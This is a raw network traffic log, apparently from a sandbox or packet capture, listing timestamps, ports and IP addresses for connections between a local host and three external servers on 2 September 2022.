Sep 2, 2022 14:02:20.801347017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.802100897 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.827174902 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.827280045 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.827366114 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.827440023 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.827460051 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.827617884 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.827699900 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.827769041 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.827856064 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.827997923 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.828083038 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.828140020 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.828216076 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.828296900 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.828337908 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.828365088 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.848794937 CEST	80	49782	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.848936081 CEST	49782	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.860826015 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.860913038 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.861082077 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.861097097 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.861138105 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.861162901 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.861172915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.861192942 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.861212015 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.861443996 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.861505032 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.861637115 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.861700058 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.861864090 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.861931086 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.862029076 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.862063885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862093925 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.862109900 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862123013 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862159014 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862174034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862212896 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862227917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862265110 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862281084 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862318039 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862462997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862478018 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.862499952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862518072 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862551928 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862564087 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.862582922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862593889 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862626076 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862660885 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862679005 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862714052 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862770081 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862812042 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862823009 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862848043 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862874985 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862911940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862927914 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.862962961 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.862979889 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863015890 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863034964 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863082886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863185883 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863221884 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863239050 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863281965 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863292933 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863318920 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863367081 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863408089 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863455057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863491058 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863508940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863548994 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863563061 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863584995 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863615036 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863650084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863667965 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863702059 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863717079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863740921 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863771915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863806963 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.863945007 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863949060 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.863981009 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.863997936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864012957 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.864034891 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864047050 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.864051104 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864084005 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864103079 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864145994 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864157915 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864183903 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864211082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864248037 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864264965 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864300966 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864316940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864352942 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864372969 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864409924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864427090 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864451885 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864480972 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864530087 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864648104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864685059 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864701986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864736080 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864756107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864792109 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864808083 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864851952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864862919 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864886999 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.864914894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864960909 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.864975929 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865011930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865027905 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865062952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865098000 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865108967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865133047 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865176916 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865187883 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865230083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865276098 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865334988 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865346909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865374088 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865401030 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865444899 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865456104 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865503073 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865541935 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865580082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865600109 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865636110 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865672112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865683079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865716934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865751028 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865772009 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865787983 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865833044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865844965 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865870953 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.865932941 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865971088 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.865992069 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866014004 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866040945 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866077900 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866094112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866118908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866179943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866264105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866280079 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866317987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866336107 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866357088 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866385937 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866421938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866440058 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866468906 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866492987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866529942 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866548061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866585970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866605043 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866631031 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866657972 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866693974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866712093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866751909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866766930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866802931 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866822004 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866844893 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866873026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866909981 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.866925001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866950035 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.866977930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867014885 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867032051 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867069960 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867086887 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867121935 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867141962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867185116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867197990 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867223024 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867250919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867288113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867304087 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867341042 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867373943 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867403030 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867429018 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867465973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867481947 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867516041 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867532969 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867577076 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867592096 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867623091 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867645025 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867681026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867723942 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867759943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867763996 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867799997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867846012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867860079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867887974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867919922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867961884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.867976904 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.867984056 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868032932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868045092 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868082047 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868098974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868139982 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868154049 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868190050 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868211985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868242025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868259907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868302107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868330956 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868356943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868376017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868408918 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868426085 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868460894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868496895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868515015 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868558884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868572950 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868602991 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868626118 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868663073 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868680000 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868712902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868732929 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868768930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868783951 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868814945 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868835926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868871927 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868886948 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868915081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.868938923 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868976116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.868992090 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869029045 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869045019 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869080067 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869097948 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869131088 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869151115 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869187117 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869203091 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869231939 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869256020 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869290113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869306087 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869348049 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869359016 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869395018 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869410038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869446993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869463921 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869494915 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869518995 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869554996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869573116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869606018 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869625092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869659901 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869677067 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869707108 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869729996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869765043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869781971 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869808912 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869832993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869867086 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869884014 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869920015 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.869946957 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869970083 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.869985104 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.870001078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.870011091 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.870029926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.870043039 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.870059967 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.870069981 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.870085001 CEST	80	49783	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.870096922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.870158911 CEST	49783	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.902636051 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.902734041 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.902852058 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.902931929 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.903074026 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.903160095 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.903279066 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.903352022 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.903526068 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.903605938 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.903704882 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.903805017 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.903899908 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.903983116 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.904094934 CEST	443	49780	91.103.219.221	192.168.2.6
